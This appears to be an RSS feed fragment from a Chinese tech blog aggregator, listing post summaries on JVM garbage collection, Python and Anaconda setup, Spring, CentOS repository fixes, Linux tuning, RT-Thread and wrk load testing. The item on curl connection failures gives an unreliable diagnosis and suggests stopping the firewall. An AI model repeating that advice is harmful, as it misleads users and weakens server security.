      <link>https://bchobby.github.io/posts/8abc30caee23147673e731d828ff3a2f/</link>
      <pubDate>Fri, 21 Oct 2022 14:42:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8abc30caee23147673e731d828ff3a2f/</guid>
      <description>在【JAVA核心知识（面试宝典）】4.1: JVM GC垃圾收集器之Serial、ParNew、Parallel Scavenge、Serial Old、Parallel Old这篇博文中介绍了GC垃圾收集器中5种相对简单的垃圾收集器。这篇博文来介绍较为复杂的CMS垃圾收集器，也是目前的主流垃圾收集器。&#xA;CMS垃圾收集器 关键字：标记清除，并行，老年代&#xA;CMS(Concurrent Mark Sweep)垃圾收集器是一种采用标记清除算法的的垃圾收集器。其主要目标是获得更短的垃圾回收停顿时间。更短的停顿时间可以为交互性较强的程序提供更好的用户体验。&#xA;CMS垃圾收集的过程要经历两次Stop The World。虽然比Serial Old，Parallel Old这两种垃圾收集器多了一次Stop The World。但是CMS通过将耗时较严重的引用链分析（大部分的引用链分析都是并发完成的，但是有小部分引用链分析依然是在Stop The World期间完成）以及内存清理过程并发实现，使得其在停顿时间要比Serial Old, Parallel Old短的多。但是这种并发实现因为并发期间的对象在使用，无法进行移动，也就使得CMS无法使用标记整理算法，会出现堆内存碎片化的问题。&#xA;因为CMS的并发执行特性，使得CMS垃圾收集器不能等到老年代内存消耗完时才进行回收，它需要预留一部分内存用来存放GC过程中新产生的老年代对象。可以通过CMSInitiatingOccupancyFraction来控制老年代内存达到百分之多少时开始进行CMS GC。&#xA;CMS垃圾收集器通过三色标记法将对象标记为不同的状态，并根据标记状态进行相应的处理：&#xA;白色：该对象未被标记过灰色：该对象自身被标记，但是内部引用未被处理（该对象可达，但是没做后续的引用链分析）。黑色：该对象自身被标记，且内部引用已被处理（该对象可达，且已分析该对象所在的引用链）。 CMS的垃圾收集有7个阶段，分别为：&#xA;初始标记（Initial-Mark）&#xA;初始标记阶段是CMS垃圾收集过程中第一个Stop The World产生的阶段，单线程执行。这个阶段标记（灰色标记）两类对象。一类是GC Roots对象。一类是有新生代对象引用的老年代对象。GC Roots对象的自无需多说，他是可达性分析法引用链的根节点。标记有新生代对象引用的老年代对象是因为CMS是老年代垃圾收集器，新生代的对象引用对于老年代对象来说依然属于老年代外部的引用，因此仍然有必要认为其引用链是有效的。&#xA;经历了初始标记：&#xA;并发标记（Concurrent-Mark）&#xA;并发标记的过程与用户线程同步进行。此阶段做两件事情，一件是以初始标记阶段所标记的对象为根节点进行引用链分析，并标记（黑色标记）引用链上的对象为存活。第二件是记录引用链分析标记过程中老年代引用关系产生变化的对象[注1]。因为并发标记和用户线程同步进行，这就意味着标记过程中可能会发生有新生代对象晋升入老年代，有新对象直接被分配入老年代，这种晋升的情况在重新标记阶段会重新扫描GC Roots对象以及新生代对象避免漏标。&#xA;对于老年代内部引用关系的变更，如下图A-C的新链，A已标位存活，所以GC Roots不会重复处理，这就会导致C的漏标，CMS处理这种漏标是采用增量更新的方式：标记的方法是为老年代堆内存设立一个Dirty Card表[注2]，如果有对象在并发标记过程中出现了引用变更，那么就将其所在的Card标记为Dirty[注3]，这样后面预清理和重新标记阶段就对Card中的所有对象都重新进行一遍引用分析（Dirty Card只标记了这个Card里有引用变更，而不是标记哪个对象的哪个链出现了变更，因此需要对所有对象的所有引用链都进行一次分析）。 G1采取起始快照算法解决这个问题，关于CMS为什么采用增量更新的方式，起始快照算法和增量更新的优缺点，为什么G1采取起始快照算法的原因及对比可见看下一节 G1垃圾收集器-5.2.3.1 SATB（起始快照算法 Snapshot at the beginning）&#xA;经历了并发标记：&#xA;注1：引用关系更新是指老年代对象对老年代对象引用更新，新生代对老年代新的引用并不算引用更新，原因上面提过，CMS是老年代垃圾收收集器，来自新生代的引用对老年代来说是外部引用，会在后面重新标记阶段处理。&#xA;注2：Dirty Card表并不是使用的Card Table，而是一种类似数据结构被称为ModUnionTalble的数据表。具体行为是将老年代堆内存空间分为一个个相等的小区间，每一个区间被称为Card Page，每个Card Page在Dirty Card表中会有一个对应的bit位标识其状态，如果一个对象的引用关系改变，写屏障逻辑就会将其所在的Card Page就会被标记位Dirty。注意Dirty标记是不是标记在对象上面的，而是标记到对象所在的Card Page上面。扫描时是扫描Card Page中的所有对象。一个Card Page可能不只有一个对象，那么并发情况一个Card Page的多个对象发生改变，那么都需要对Dirty Card表的同一位进行标记修改，这时间就会发生伪共享（false sharding：缓存系统中是以缓存行（cache line）为单位存储的，当多线程修改互相独立的变量时，如果这些变量共享同一个缓存行，就会无意中影响彼此的性能，这就是伪共享）的问题。为了解决这个问题，JDK1.7加入一个参数-XX:+UseCondCardMark来控制是否进行有条件的写屏障，开启时就会判断目标Card Page是否已经被标记为Dirty，如果是就不再重复进行标记了.&#xA;注3：需要标记的是引用对象所在的Card而不是被引用对象，比如老年代中新增A-&amp;gt;B,那么标记在A的Card，而不是标记在B的Card。原因是A引用B，扫描A所在Card时如果A是存活节点那么B也就是存活节点，A是待回收节点B也是待回收节点。如果标记在B上，那么就会出现只知道B被别人引用了，但是引用他的是一个存活节点还是死亡节点却无法判断。&#xA;预清理（Concurrent-PreClean）&#xA;在并发标记阶段CMS标记出了那些在并发标记阶段发生改变的Card，预处理阶段就是对这些Card中的对象进行引用链分析，进行存活性标记。因为这个阶段不会Stop The World，所以也会持续进行Dirty Card标记。</description>
    </item>
    <item>
      <title>Anaconda（python，pycharm）半详细安装教程</title>
      <link>https://bchobby.github.io/posts/9d213240b2c1cb23cc132c1653eddbf4/</link>
      <pubDate>Fri, 21 Oct 2022 11:57:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d213240b2c1cb23cc132c1653eddbf4/</guid>
      <description>目录&#xA;文章目录&#xA;简介&#xA;一.Anaconda（python，pycharm）简介概述&#xA;二.Python安装&#xA;三.Anaconda安装&#xA;四:pycharm安装&#xA;简介 本文尽量通过精简的语言，一次说明白安装的流程及其注意事项。。。文章中是以电脑中已经安装了python为基础但又想在额外安装anaconda以及保留原有python版本的情况进行讲解的。&#xA;一.Anaconda（python，pycharm）简介概述 二.Python安装 Python官网：python.org&#xA;进入官网后我们点击Downloads，然后选择跟软件配对的系统版本（本文是以windows为例子）。&#xA;进入下载链接后，里边包含了python的全部版本（根据自己需求下载，不建议下最新版本，容易出现库安装不上的情况），图中1与2都是python的安装包选择一个即可（好像有一个是免安装的...忘记了）然后文本中选择的是3.8.10的版本。。。&#xA;开始安装后，记得勾选上最下边（Add python 3.8 to PATH）的选项，程序会自动帮你添加环境变量，不然后边要自己手动添加了awa。然后再点击下边的（Customize installation）这个选项进行下一步。&#xA;这里也是全部勾选上然后单击下一步。&#xA;这里勾选前五个，最后安装位置的话不建议安装在C盘（下一步）。。&#xA;安装成功后便出现了如下的提示。&#xA;然后我们打开任务管理器输入python，这是上边显示的是我们刚刚安装的3.8版本（此时为默认python版本），pip list命令则是为了查看，目前python中存在的库的信息。&#xA;同理输入python --version或者是where python都可以查看目前电脑中所存在的python版本及情况。&#xA;补充：若前边安装时没有勾选自动添加环境变量的选项则需要自己在环境变量里自行添加python的环境路径（如图示）。。此时需要分别在用户和系统环境的path中添加python的环境路径，添加环境路径的顺序如图所示（切记不要把顺序弄错了）。&#xA;三.Anaconda安装 Anaconda官网：anaconda.org&#xA;进入官网后我们单击右上角的download选项。&#xA;或者可以直接通过anaconda.com/products/distribution这个网址进入。然后右下角有Anaconda的下载版本，这边显示的是python3.9的版本（windows版本），若下选择其他系统版本可以单击get add下方的图标进行。&#xA;如果觉得顶页的Anaconda的python版本太高，可以选择下载其他得版本，将页面网页滑到底，如图示可以看到archive一段字样，点击进入。。&#xA;这个网页包含了以往所有Anaconda的版本，单击一个自己合适的版本进行下载即可，这边我下载的还是python3.9版本的。&#xA;然后我们进入Anaconda的软件安装，这边建议勾选第二个选项（好像是全部用户都可以使用来着），然后进行下一步。。安装位置的话不建议在c盘（一个盘的话就随意啦~）&#xA;注：下图为特殊情况（以前安装但又卸载过Anaconda的话极有可能出现）&#xA;个人的解决方法：返回前二步的选项，点击选择中的just me选项然后进行下一步的安装就不会遇到这种情况了，缺点是如果想要和第二个任何人都可以使用Anaconda这个选项一样的话，就需要在Anaconda安装完成后在额外系统变量的path列表里添加Anaconda的环境变量。注：一定要按顺序添加Anaconda的环境变量。&#xA;最后就安装完成了&#xA;由于Anaconda是自带python的，但打开cmd窗口时仍然会显示先前安装的3.8版本的python。这时打开环境变量的窗口，把Anaconda的环境变量路径移动到原先安装的3.8版本的python上去，注意不要打乱Anaconda的路径顺序（很重要）。&#xA;移动后再次打开cmd输入python发现python版本已经变成anaconda里自带的python版本了。&#xA;换号相应的Python版本的后，打开Anaconda的界面 然后再点击cmd.exe进行运行，进行第三方库安装时的链接换源（这里提供二种方法，仅供参考）：&#xA;1.首先打开cmd输入%APPDATA%，然后在该目录下创建一个pip的文件夹，然后再里边的新建记事本上写上图中的代码，即可完成换源。&#xA;2.或者直接在anaconda中的cmd输入换源的地址 即可（如图示）。&#xA;这边提供其他几个国内第三方库的下载源地址：&#xA;阿里云：http://mirrors.aliyun.com/pypi/simple/ 科技大学：https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣：http://pypi.douban.com/simple/ 清华大学：https://pypi.tuna.tsinghua.edu.cn/simple/ 中国科学技术大学：http://pypi.mirrors.ustc.edu.cn/simple/ 如何查看换源是否成功，可以在conda的cmd中随机安装几个第三方库的包进行验证，以图中opencv-python的包为例，其中的第二段looking后边跟定的清华源的网址，就是我们起先在电脑记事本中打入的换源网址，证明换源已经成功。。。&#xA;完成以上的第三方库安装换源后，我们还需要对conda内部自带的镜像源进行一次换源（默认自带国外的源）：&#xA;1.首先打开anaconda里的cmd.exe，输入conda config --show channels命令查看是否添加过镜像源（这边之前卸载的时候有残留），然后我们再次输入conda config --remove-key channels清空之前所有设置过的国内镜像源，然后在输入conda config --show channels进行查看可以看到conda内部的镜像地址已经恢复到了初始化状态。。。&#xA;2.输入conda config --add channels 后边加上要换源的网址进行镜像地址的添加。 3.</description>
    </item>
    <item>
      <title>JAVA多线程：狂抓 join()方法到底会不会释放锁，给你彻底介绍清楚（三）</title>
      <link>https://bchobby.github.io/posts/7b906144df09eda83d23ae1f1e2fffe2/</link>
      <pubDate>Fri, 21 Oct 2022 07:50:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b906144df09eda83d23ae1f1e2fffe2/</guid>
      <description>前言 了解这个问题前，先了解锁的概念：&#xA;锁，这个概念比较抽象，拿到锁，就意味着拿到了CPU的执行权。&#xA;拿3个人看电视来说，锁就好比遥控。&#xA;A拿到遥控了，如果A仅仅是想休息一会儿，并不想放弃遥控的持有权（锁），那么就调用sleep(1000)方法。然而，管理员来了，对A说，你立刻、马上把遥控交给我，并且N秒内，不得再拥有遥控，此时就调用wait(10000)方法，调用wait后A会立刻丢失遥控的所有权（直到10秒后才会参与再次竞争），此时剩余的所有人立刻会按优先级，重新争取（锁）遥控的持有权。 概述 针对于这个问题，相信很多在使用多线程的人，都搞的不是很清楚，一直被这个问题困扰。&#xA;先说结论&#xA;join底层调用的是wait()，而wait是Object的方法，wait本身是会释放锁（彻底交出CPU的执行权），所以 Thread 的join() 方法是否会释放锁？答案是会！&#xA;但是，join()只会释放Thread的锁，不会释放线程对象的锁（可能会造成死锁）。&#xA;相信很多人看到这个答案，比较绕口，看了很懵逼，上代码（代码很简单，耐心一点哦）&#xA;一、示例代码 public class ThreadJoinTestLock { public static void main(String[] args) { Object object = new Object(); MThread mythread = new MThread(&#34;mythread &#34;, object); mythread.start(); //synchronized (mythread) synchronized (object) { for (int i = 0; i &amp;lt; 100; i++) { if (i == 20) { try { System.out.println(&#34;开始join&#34;); mythread.join();//main主线程让出CPU执行权，让mythread子线程优先执行 System.out.println(&#34;结束join&#34;); } catch (InterruptedException e) { e.printStackTrace(); } } System.</description>
    </item>
    <item>
      <title>【numpy】np.loadtxt超级简便的读取.txt文件文本方式</title>
      <link>https://bchobby.github.io/posts/12213ff9b54a266ab12a0dd3a0c91f01/</link>
      <pubDate>Fri, 21 Oct 2022 06:49:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12213ff9b54a266ab12a0dd3a0c91f01/</guid>
      <description>前言 在没有遇到np.loadtxt这个方式之前，我都是纯手写的代码，非常的冗余不好看，读取.txt文本内容的也不太方便，所以接下来这个函数将会帮我们完美的解决这个问题。&#xA;【numpy】np.loadtxt超级简便的读取.txt文件文本方式&#xA;前言&#xA;文件内容 .txt&#xA;代码文件&#xA;1.py&#xA;print()&#xA;2.py&#xA;print()&#xA;#致谢&#xA;文件内容 .txt 541 6 599 62 544 9 598 62 代码文件 1.py import numpy as np if __name__ == &#34;__main__&#34;: box_list = [] with open(car_bbox_path, &#39;r&#39;) as f: for idx, data_ in enumerate(f.readlines()): data = data_.replace(&#39;\n&#39;, &#34;&#34;).split(&#34; &#34;) bbox = [int(x) for x in data] box_list.append(bbox) f.close() print(box_list) print() (gp) C:\Users\86137\Desktop\PF-Face&amp;gt;python pf.py [[714, 390, 1018, 632], [714, 390, 1018, 633]] 这样子写代码会显得代码非常的冗余不好看，实际上这完全可以用np.</description>
    </item>
    <item>
      <title>curl Failed to connect to</title>
      <link>https://bchobby.github.io/posts/329fe491c394e9fe31e0315252a39e1e/</link>
      <pubDate>Fri, 21 Oct 2022 05:16:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/329fe491c394e9fe31e0315252a39e1e/</guid>
      <description> 在vps安装脚本时候出现该错误情况 其实使用curl 命令本质是访问一个网站，然后把网站内容下载下来。因此想要运行一个网站就需要一个服务器。所以解决问题的本质就是安装一个服务器 安装nginx yum install nginx -y #安装Nginx systemctl start nginx #启动nginx systemctl enable nginx #设置开机自启动 netstat -lntup|grep nginx #检查80端口 关闭防火墙 或者也有防火墙没有关闭的情况 systemctl status firewalld systemctl stop firewalld </description>
    </item>
    <item>
      <title>SpringBoot集成Spring Security详细配置</title>
      <link>https://bchobby.github.io/posts/2f073e75b11897736e75e5f4de21a00b/</link>
      <pubDate>Thu, 20 Oct 2022 22:57:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f073e75b11897736e75e5f4de21a00b/</guid>
      <description>一、前言 Spring Security 和 Apache Shiro 都是安全框架，为Java应用程序提供身份认证和授权。&#xA;二者区别&#xA;Spring Security：重量级安全框架Apache Shiro：轻量级安全框架 关于shiro的权限认证与授权可参考小编的另外一篇文章 ： SpringBoot集成Shiro 实现动态加载权限&#xA;https://blog.csdn.net/qq_38225558/article/details/101616759&#xA;二、SpringBoot集成Spring Security入门体验 基本环境 ： springboot 2.1.8&#xA;1、引入Spring Security依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2、新建一个controller测试访问&#xA;@RestController public class IndexController { @GetMapping(&#34;/index&#34;) public String index() { return &#34;Hello World ~&#34;; } } 3、运行项目访问 http://127.0.0.1:8080/index&#xA;温馨小提示：在不进行任何配置的情况下，Spring Security 给出的默认用户名为user 密码则是项目在启动运行时随机生成的一串字符串，会打印在控制台，如下图：&#xA;当我们访问index首页的时候，系统会默认跳转到login页面进行登录认证&#xA;认证成功之后才会跳转到我们的index页面&#xA;三、Spring Security用户密码配置 除了上面Spring Security在不进行任何配置下默认给出的用户user 密码随项目启动生成随机字符串，我们还可以通过以下方式配置&#xA;1、springboot配置文件中配置&#xA;spring: security: user: name: admin # 用户名 password: 123456 # 密码 2、java代码在内存中配置</description>
    </item>
    <item>
      <title>SpringCloud 之 Fegin —— 发送GET、POST请求以及文件上传</title>
      <link>https://bchobby.github.io/posts/3a41ee2d09d0cc5e5885ae9982789cd7/</link>
      <pubDate>Thu, 20 Oct 2022 22:56:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a41ee2d09d0cc5e5885ae9982789cd7/</guid>
      <description>SpringCloud 之 Fegin —— 发送GET、POST请求以及文件上传 由于项目需要调用其他微服务的数据，首先想到的就是写一个http网络请求的工具类，但是想到在之前看springCloud的时候里面有这个Fegin可以实现，就顺便实践一下，虽然过程有点坎坷，好在都顺利解决了，在实践的过程中主要遇见了以下几个问题&#xA;1) 不同请求方式传参方式不同&#xA;2) 同一请求方式请求头信息不同&#xA;3) 发送请求时候的编码器不同&#xA;4) 文件上传&#xA;(一) Fegin使用&#xA;1) 添加依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-feign&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2)在启动类上加上注解&#xA;@EnableEurekaClient @EnableHystrixDashboard @EnableFeignClients //这个就是使用Feign需要添加的注解 @SpringBootApplication public class VideoProxyServiceApplication { public static void main(String[] args) { SpringApplication.run(VideoProxyServiceApplication.class, args); } } 3)Feign 客户端接口&#xA;@Component @FeignClient(name = &#34;stream-service&#34;,url = &#34;${stream_service}&#34;) //name指定FeignClient的名称，url一般用于调试，可以手动指定@FeignClient调用的地址 public interface StreamServiceClient { //GET请求 @RequestMapping(value = &#34;/task/findById&#34;,method = RequestMethod.GET) String findById(@RequestParam(value = &#34;id&#34;) String id); 4)在Controller层里调用&#xA;@RestController @RequestMapping(value = &#34;</description>
    </item>
    <item>
      <title>Linux-centos8官方源已下线，建议切换centos-vault源</title>
      <link>https://bchobby.github.io/posts/ec84ccaa9e3140dddac6401a28531067/</link>
      <pubDate>Thu, 20 Oct 2022 22:55:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec84ccaa9e3140dddac6401a28531067/</guid>
      <description>问题描述&#xA;使用yum安装时出现如下错误：&#xA;Errors during downloading metadata for repository &#39;AppStream&#39;:&#xA;- Status code: 404 for http://mirrors.cloud.aliyuncs.com/centos/8/AppStream/x86_64/os/repodata/repomd.xml (IP: 100.100.2.148)&#xA;Error: Failed to download metadata for repo &#39;AppStream&#39;: Cannot download repomd.xml: Cannot download repodata/repomd.xml: All mirrors were tried&#xA;问题分析&#xA;阿里云解释：centos8官方源已下线，建议切换centos-vault源&#xA;解决方法&#xA;1.删除AppStream源&#xA;rm -f /etc/yum.repos.d/CentOS-AppStream.repo&#xA;2.取消并备份旧yum源（可直接删除）&#xA;mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup&#xA;3.下载vault源&#xA;curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo&#xA;4.清除yum缓存&#xA;yum clean all&#xA;5.生成新缓存&#xA;yum makecache&#xA;附加&#xA;如果出现 Couldn&#39;t resolve host &#39;mirrors.cloud.aliyuncs.com&#39; ，非阿里云服务器无法访问其内网域名，需要作替换，eg：&#xA;sed -i -e &#39;/mirrors.cloud.aliyuncs.com/d&#39; -e &#39;/mirrors.</description>
    </item>
    <item>
      <title>Linux服务响应慢的问题查找</title>
      <link>https://bchobby.github.io/posts/69f4535777a6ba07e567ec3538767358/</link>
      <pubDate>Thu, 20 Oct 2022 22:54:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69f4535777a6ba07e567ec3538767358/</guid>
      <description> 现场表现： ssh连接很快,命令响应等非常慢, ls都要反应很长时间。&#xA;定位步骤： 1.free、top查看内存和CPU占用情况;(没有耗CPU和内存的)&#xA;(1)查看占用CPU资源最多的10个进程&#xA;ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head (2)占用内存资源最多的10个进程&#xA;ps aux|head -1;ps aux|grep -v PID|sort -rn -k +4|head (3)如果内存buff/cache非常大,可以使用清理命令&#xA;sync &amp;amp;&amp;amp; echo 3 &amp;gt; /proc/sys/vm/drop_caches 结果发现既没有耗CPU的进程也没有耗内存的进程,CPU和内存都空闲的很。&#xA;2.查看磁盘状态&#xA;df -h 磁盘状态其实不影响响应速度，暂且司马当活马医.&#xA;3.关掉虚拟内存,看是否变快&#xA;临时关闭虚拟内存命令&#xA;sudo swapoff -a 查看是否关闭:&#xA;sudo free -m BASH 复制 全屏&#xA;Swap:后面都是0就表示关闭成功了。&#xA;再次在终端执行各种命令。发现响应确实变快了。经查，发现服务器用的是普通硬盘，没有使用raid卡读写速度较慢。因此影响了内存。&#xA;永久关闭虚拟内存&#xA;vi /etc/fstab # 在swap分区这行前加 # 禁用掉，保存退出 </description>
    </item>
    <item>
      <title>linux ssh更换默认的22端口</title>
      <link>https://bchobby.github.io/posts/71720672169a9e8d9c3c549cee7a0b78/</link>
      <pubDate>Thu, 20 Oct 2022 22:52:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71720672169a9e8d9c3c549cee7a0b78/</guid>
      <description>1、修改配置文件：/etc/ssh/sshd_config 2、先将Port 22 前面的 # 号去掉，并另起一行。如定义SSH端口号为26611 ，则输入&#xA;3、修改完毕后，重启SSH服务，并退出当前连接的SSH端口。&#xA;service sshd restart 或者 systemctl restart sshd.service</description>
    </item>
    <item>
      <title>RT-Thread学习笔记七——线程间通讯（互斥量）</title>
      <link>https://bchobby.github.io/posts/d6bb60d77a9d646e362da7c63a5b0da6/</link>
      <pubDate>Thu, 20 Oct 2022 20:43:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6bb60d77a9d646e362da7c63a5b0da6/</guid>
      <description>1.优先级翻转问题 当rt-thread实时操作系统运行时，如果单纯使用信号量来管理公共资源，则会出现优先级翻转问题，导致高优先级线程被低优先级线程运行而阻塞，使得系统的实时性无法得到保证。下面为优先级翻转的具体解释&#xA;优先级翻转：&#xA;现有三个不同优先级的线程·，优先级分别为高，中，低，使用信号量机制访问同一公共资源（临界区）。&#xA;1.优先级为低的线程先占用信号量，访问公共资源，此时高优先级线程使用信号量访问临界区，由于低优先级线程已经占用信号量还未释放，则高优先级线程进入阻塞状态，等待信号量释放。&#xA;2.此时中优先级线程就绪，由于RT-Thread使用线程优先级抢占机制，则中优先级线程获得cpu使用权，低优先级线程挂起等待。&#xA;3.当中优先级线程运行完毕，让出cpu使用权，低优先级线程得以继续运行。当c优先级线程运行完毕，释放信号量，则高优先级线程获取信号量访问临界区，开始运行。&#xA;由此可见，此时高优先级线程没有立即获取cpu使用权，而是一直等待其他低优先级线程完成任务后释放信号量，才可运行，严重影响了系统的实时性。&#xA;2.优先级继承机制 为解决使用信号量优先级翻转问题，互斥量采用了优先级继承机制，下面为优先级继承机制的解释。&#xA;当有线程通过互斥量访问某一公共资源（临界区）时，此时若有多个线程访问此临界区，则进入线程等待队列，此时将占用临界区的线程优先级暂时调整为线程等待队列中优先级最高的线程相同优先级，则当外界即使有其他线程需要使用cpu时，也不会影响线程等待队列中的线程访问临界区，避免其他中等优先级线程抢占cpu，当此线程使用完毕释放互斥量时，优先级回到原先优先级。&#xA;3.互斥量基本概念 互斥量是一种特殊的信号量，只有两种状态，开锁和闭锁，他适用于线程多次持有信号量，造成线程递归而死锁以及多个线程的优先级翻转问题。&#xA;互斥量初始化时为开锁状态，仅允许一个线程持有，当有线程通过互斥量访问临界区时，互斥量变为闭锁状态，此时其他线程若访问互斥量，则根据设定的时间进行等待，直到互斥量被释放后获取互斥量。&#xA;互斥量机制以此保证同一时刻只有一个线程访问临界区。&#xA;典型例子：串口通讯时，由于硬件资源只有一个，如果两个线程需要同时发送，则必须加上互斥锁。&#xA;ps：互斥量不能在中断服务函数中使用。&#xA;高优先级和低优先级使用互斥量访问临界区的过程 4.互斥量API 互斥量与线程，信号量类似，分为静态和动态，区别为是否由系统分配内存空间，API同样有静态和动态互斥量的创建和删除，互斥量的获取和释放。&#xA;4.1静态互斥量 4.1.1静态互斥量创建 rt_mutex_init&#x9;(&#x9;rt_mutex_t mutex, //指向互斥量的指针控制块 const char * name, //互斥量名称 rt_uint8_t flag //互斥量标志位 )&#x9;使用时需先创建一个静态互斥量指针（static rt_mutex_t dynamic_mutex = RT_NULL;）之后再进行互斥量的创建就可以了。&#xA;4.1.2 静态互斥量的删除 rt_mutex_detach&#x9;(rt_mutex_t mutex)&#x9;//互斥量的删除 互斥量的删除函数，参数为指向互斥量的指针&#xA;4.2动态互斥量 4.2.1 动态互斥量的创建 rt_mutex_create&#x9;(&#x9;const char * name, //互斥量名称 rt_uint8_t flag //互斥量标志位 )&#x9;使用时也需要首先创建一个指向互斥量的指针（static rt_mutex_t dynamic_mutex = RT_NULL;），之后再创建互斥量即可。使用示例如下：&#xA;static rt_mutex_t dynamic_mutex = RT_NULL; /* 创建一个动态互斥量 */ dynamic_mutex = rt_mutex_create(&#34;</description>
    </item>
    <item>
      <title>RT-Thread学习笔记八——线程间通讯（事件）</title>
      <link>https://bchobby.github.io/posts/046db537f098652f98a0f598d8287a32/</link>
      <pubDate>Thu, 20 Oct 2022 20:13:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/046db537f098652f98a0f598d8287a32/</guid>
      <description>目录&#xA;1.概念&#xA;2.工作原理&#xA;3.事件API&#xA;3.1静态事件&#xA;3.1.1 静态事件的创建&#xA;3.1.2 静态事件的删除&#xA;3.2动态事件&#xA;3.2.1 动态事件的创建&#xA;3.2.2 动态事件的删除&#xA;3.3 事件的发送和接收&#xA;3.3.1 事件的发送&#xA;3.3.2 事件的接收&#xA;4.C语言位操作（事件标志位置1）&#xA;4.1 左移&#xA;4.2 左移赋值运算符&#xA;4.3 右移 5.实际使用代码&#xA;1.概念 事件常用于线程间同步，在操作系统中，可以实现利用事件一对一，一对多或者多对多的同步，即一个线程可以根据一个事件触发，或多个事件同时发生才触发，同理，一个事件也可以同时触发多个线程，或多个事件触发多个线程。&#xA;多个事件的集合称为事件集，常用一个32位无符号整型变量表示，变量的每一位代表一个事件，线程通过“逻辑与” 和“逻辑或”与一个事件或多个事件关联，逻辑或称为独立型同步，逻辑与称为关联型同步。&#xA;ps：事件只能进行线程间同步，不能进行线程间通信。&#xA;我们常用全局变量作为标志位来进行线程间同步，但这一做法在实时操作系统中，会造成代码可读性差，代码管理困难的问题，因此使用事件，他比信号量使用范围广，适用情况灵活，可一对一，一对多和多对多。&#xA;2.工作原理 每个线程对于事件都有三个对应的标志位，逻辑与（RT_EVENT_FLAG_AND），逻辑或（RT_EVENT_FLAG_OR）和清除标记（RT_EVENT_FLAG_CLEAR)。&#xA;若线程的事件标志中第一位和第三位被置为1，事件信息标志位被置为逻辑或，则代表此时事件1和事件3任何一个发生都会触发线程的运行：&#xA;若线程事件信息标志位被置为逻辑与，则代表此时事件1和事件3必须同时发生才会触发线程的运行。&#xA;如果信息标志位还设置了清除标记位，则代表线程触发运行后会将事件标志清0，如果没有设置，则线程运行结束后事件1和事件3仍为原来的置1状态。&#xA;3.事件API 事件与线程，信号量，互斥量类似，对应API仍然分为静态/动态事件创建，删除，事件的发送和接收。&#xA;3.1静态事件 3.1.1 静态事件的创建 rt_event_init&#x9;(rt_event_t event, const char * name, rt_uint8_t flag )&#x9;参数为指向事件的指针，事件集名称和标志，标志为两种，先进先出模式和优先级模式。两种模式的含义前面有提到，不再赘述。&#xA;创建时需要首先创建一个事件集指针（static struct rt_event event），然后对该指针取地址即可创建事件集。如下：&#xA;/* 事件控制块 */ static struct rt_event event; rt_err_t result ; /* 初始化事件对象 */ result = rt_event_init(&amp;amp;event, &#34;</description>
    </item>
    <item>
      <title>编译程序时,遇到了找不到头文件的问题</title>
      <link>https://bchobby.github.io/posts/97f796945be516b382353e4764d5af38/</link>
      <pubDate>Thu, 20 Oct 2022 19:06:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97f796945be516b382353e4764d5af38/</guid>
      <description>首先，这个问题今天想了一天，还把原来的代码搞得运行不了了，所以对于代码一定要备份，然后就是遇到不懂得问题，一定要把这个问题描述清楚，方便向前辈请教。&#xA;然后，这个问题我是请教了一个有多年开发经验得老程序员，一下子我就悟了。&#xA;最后，就是我总结得几个找不到头文件得原因：&#xA;1.两种include方式的差异，&amp;lt;&amp;gt;更快一点，“”更广泛一点&#xA;2.两个引用头文件中多了一层文件夹嵌套（这不太影响找不到头文件，但会影响预处理效率）&#xA;（注：预处理、编译和运行还是有区别的。程序的处理步骤——预处理、编译、链接、运行。）&#xA;3.绝对路径和相对路径问题（#include &#34;muduo/net/httpserver/httprequest.h&#34;绝对路径，#include &#34;../../../httprequest.h&#34;相对路径）&#xA;4.调用函数所在的c文件有主函数，也不影响这个头文件的调用</description>
    </item>
    <item>
      <title>wrk压测工具使用</title>
      <link>https://bchobby.github.io/posts/73493416c596705a8e376fd5f8c4b828/</link>
      <pubDate>Thu, 20 Oct 2022 19:02:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73493416c596705a8e376fd5f8c4b828/</guid>
      <description>1、wrk命令行使用 Usage: wrk &amp;lt;options&amp;gt; &amp;lt;url&amp;gt; Options: -c, --connections &amp;lt;N&amp;gt; Connections to keep open // 连接数量、并发数量 -d, --duration &amp;lt;T&amp;gt; Duration of test // 持续时间 -t, --threads &amp;lt;N&amp;gt; Number of threads to use // 线程数量 -s, --script &amp;lt;S&amp;gt; Load Lua script file // 运行、lua脚本的位置 -H, --header &amp;lt;H&amp;gt; Add header to request // 添加请求头 --latency Print latency statistics // 延时 --timeout &amp;lt;T&amp;gt; Socket/request timeout // 超时的时间 -v, --version Print version details Numeric arguments may include a SI unit (1k, 1M, 1G) // 数字单位 Time arguments may include a time unit (2s, 2m, 2h) // 时间单位 wrk -c 30 -d 5s -t 10 --latency --timeout 2s http://baidu.</description>
    </item>
    <item>
      <title>数据结构基础</title>
      <link>https://bchobby.github.io/posts/34f6387e6e41b7e3e7264e19067f5af1/</link>
